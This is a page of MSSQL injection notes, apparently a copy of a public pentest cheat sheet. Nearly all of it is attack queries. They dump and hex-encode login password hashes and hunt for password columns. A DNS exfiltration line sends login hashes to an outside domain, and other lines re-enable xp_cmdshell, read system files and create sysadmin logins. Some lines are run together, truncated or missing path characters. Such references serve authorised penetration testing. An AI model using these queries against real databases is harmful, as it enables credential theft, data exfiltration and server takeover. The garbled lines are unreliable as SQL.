MSSQL 注入笔记

SELECT @@version

SELECT user_name();SELECT system_user;SELECT user;SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID

SELECT name FROM master..syslogin

SELECT name, password FROM master..sysxlogins — priv, mssql 2000;SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins — priv, mssql 2000.  Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql 2005;SELECT name + ‘-‘ + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins — priv, mssql 2005

MSSQL 2000 and 2005 Hashes are both SHA1-based.  phrasen|drescher can crack these.

— current privs on a particular object in 2005, 2008SELECT permission_name FROM master..fn_my_permissions(null, ‘DATABASE’); — current databaseSELECT permission_name FROM master..fn_my_permissions(null, ‘SERVER’); — current serverSELECT permission_name FROM master..fn_my_permissions(‘master..syslogins’, ‘OBJECT’); –permissions on a tableSELECT permission_name FROM master..fn_my_permissions(‘sa’, ‘USER’);–permissions on a user– current privs in 2005, 2008SELECT is_srvrolemember(‘sysadmin’);SELECT is_srvrolemember(‘dbcreator’);SELECT is_srvrolemember(‘bulkadmin’);SELECT is_srvrolemember(‘diskadmin’);SELECT is_srvrolemember(‘processadmin’);SELECT is_srvrolemember(‘serveradmin’);SELECT is_srvrolemember(‘setupadmin’);SELECT is_srvrolemember(‘securityadmin’);— who has a particular priv? 2005, 2008SELECT name FROM master..syslogins WHERE denylogin = 0;SELECT name FROM master..syslogins WHERE hasaccess = 1;SELECT name FROM master..syslogins WHERE isntname = 0;SELECT name FROM master..syslogins WHERE isntgroup = 0;SELECT name FROM master..syslogins WHERE sysadmin = 1;SELECT name FROM master..syslogins WHERE securityadmin = 1;SELECT name FROM master..syslogins WHERE serveradmin = 1;SELECT name FROM master..syslogins WHERE setupadmin = 1;SELECT name FROM master..syslogins WHERE processadmin = 1;SELECT name FROM master..syslogins WHERE diskadmin = 1;SELECT name FROM master..syslogins WHERE dbcreator = 1;SELECT name FROM master..syslogins WHERE bulkadmin = 1;

SELECT is_srvrolemember(‘sysadmin’); — is your account a sysadmin?  returns 1 for true, 0 for false, NULL for invalid role.  Also try ‘bulkadmin’, ‘systemadmin’ and other values from the documentationSELECT is_srvrolemember(‘sysadmin’, ‘sa’); — is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.SELECT name FROM master..syslogins WHERE sysadmin = ‘1’ — tested on 200

SELECT DB_NAME()

SELECT name FROM master..sysdatabases;SELECT DB_NAME(N); — for N = 0, 1, 2,

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB onlySELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for viewsSELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

— NB: This example works only for the current database.  If you wan’t to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects).SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = ‘U’ AND syscolumns.name LIKE ‘%PASSWORD%’ — this lists table, column for each column containing the word ‘password’

SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC — gets 9th row

SELECT substring(‘abcd’, 3, 1) — returns c

SELECT 6 & 2 — returns 2SELECT 6 & 1 — returns 

SELECT char(0x41) — returns A

SELECT ascii(‘A’) – returns 65

SELECT ‘A’ + ‘B’ – returns A

IF (1=1) SELECT 1 ELSE SELECT 2 — returns 1

SELECT char(65)+char(66) — returns AB

 WAITFOR DELAY ‘0:0:5’ — pause for 5 seconds

declare @host varchar(800); select @host = name FROM master..syslogins; exec(‘master..xp_getfiledetails ”’ + @host + ‘c$boot.ini”’); — nonpriv, works on 2000declare @host varchar(800); select @host = name + ‘-‘ + master.sys.fn_varbintohexstr(password_hash) + ‘.2.pentestmonkey.net’ from sys.sql_logins; exec(‘xp_fileexist ”’ + @host + ‘c$boot.ini”’); — priv, works on 2005– NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host.  Messy but necessary.— Also check out theDNS tunnel feature of sqlninja

EXEC xp_cmdshell ‘net user’; — privOn MSSQL 2005 you may need to reactivate xp_cmdshell first as it’s disabled by default:EXEC sp_configure ‘show advanced options’, 1; — privRECONFIGURE; — privEXEC sp_configure ‘xp_cmdshell’, 1; — privRECONFIGURE; — priv

CREATE TABLE mydata (line varchar(8000));BULK INSERT mydata FROM ‘c:boot.ini’;DROP TABLE mydata;

SELECT HOST_NAME(

EXEC sp_addlogin ‘user’, ‘pass’; — priv

EXEC sp_droplogin ‘user’; — pri

EXEC master.dbo.sp_addsrvrolemember ‘user’, ‘sysadmin; — priv

EXEC sp_helpdb master; –location of master.mdfEXEC sp_helpdb pubs; –location of pubs.mdf

northwindmodelmsdbpubs — not on sql server 2005tempdb